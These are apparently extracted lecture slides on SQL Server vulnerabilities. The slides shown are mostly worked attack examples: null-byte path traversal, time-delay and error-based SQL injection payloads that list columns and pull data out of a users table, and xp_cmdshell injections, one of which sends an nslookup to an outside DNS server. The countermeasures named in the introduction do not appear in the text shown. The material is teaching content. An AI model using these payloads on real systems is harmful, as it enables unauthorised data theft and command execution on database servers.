An in-depth analysis of sql server vulnerabilities, including their identification, exploitation, and countermeasures. It covers various types of vulnerabilities such as character insertion, file access, and extended stored procedures. The document also discusses best practices for securing sql server and oracle databases.
Download SQL Server Vulnerabilities: Identification, Exploitation, and Countermeasures and more Slides Network security in PDF only on Docsity!
1
SQL Server Vulnerabilities
2
SQL Server Vulnerabilities
Vulnerability identification
Exploiting vulnerabilities
Countermeasures
Best practices
Oracle vulnerabilities
4
Vulnerability Identification
Example:
www.example.com/getimage.asp?f= 8&e=gif is an allowed operation
www.example.com/getimage.asp?f=..\maketr ade.asp%00&e=gif is an exploit
Vulnerability is that the “f” parameter can allow access to files in its parent directory path
%00 passes a null character that suppresses the restriction to “gif” files only
5
Vulnerability Identification
Character insertion vulnerabilities:
Single quote, double quote, #, ||
SQL reserved words insertion:
tab %
carriage return %0d
linefeed %0a
space %
make the system wait while executing a query: - ‘1+waitfor+delay+’0:0:10’--
7
Exploiting Vulnerabilities
Select * from users where username = ‘ or 1 in (select ‘a’+str(id) from sysobjects where name=‘users’)-- will give an error message that contains the information to find the column names (e.g., syntax error converting the varchar value ‘a 2815072’ to a column of data type int)
Select * from users where username = ‘ or 1 in (select name from syscolumns where id=2815072 and colorder > 0)-- will give the column name
Successively replacing the colorder > 0 to 1, 2, 3, etc one can find the names of all columns
8
Exploiting Vulnerabilities
Assume that the column names are id, username, password, transaction_limit, settings_file - Select * from users where username = ‘ or 1 in (select ‘a’+str(max(id)) from users)-- will give the maximum id value corresponding to the last user in the table - Select * from users where username = ‘ or 1 in (select ‘a’+str(max(transaction_limit)) from users)-- will give the maximum value of transaction limit for any user
10
Exploiting Vulnerabilities
In the absence of error messages, see if
sysadmin is logged in:
When the following code is placed in the middle of an SQL command, if(is_srvrolemember(‘sysadmin’)>0) waitfor delay ‘0:0:5’ a pause in execution is an indication that the sysadmin is logged in
Exploiting from command line
Select * from users where username = ‘asmith’; exec xp_cmdshell ‘dir > c:\foo.txt’--
11
Exploiting Vulnerabilities
Exploiting from command line
Select * from users where username = ‘asmith’; exec xp_cmdshell ‘nslookup thisisatest 192.168.1.1’-- will look for the host thisisatest on the DNS server 192.168.1.
13
Exploiting Vulnerabilities
Vulnerable extended stored procedures in
the sp_OA family are:
sp_OACreate
sp_OADestroy
sp_OAGetErrorInfo
sp_OAGetProperty
sp_OAMethod
sp_OASetProperty
sp_OAStop
14
Exploiting Vulnerabilities
SQL Server outputs plenty of usable error messages
Both Oracle and MySQL do not output much usable error messages
SQL Server does an implicit conversion of integers to strings where necessary, making it easy for hackers to guess data types
Use of single line comment character sequence of --
Query batching feature (i.e., multiple queries can be run in sequence by separating them with semicolon)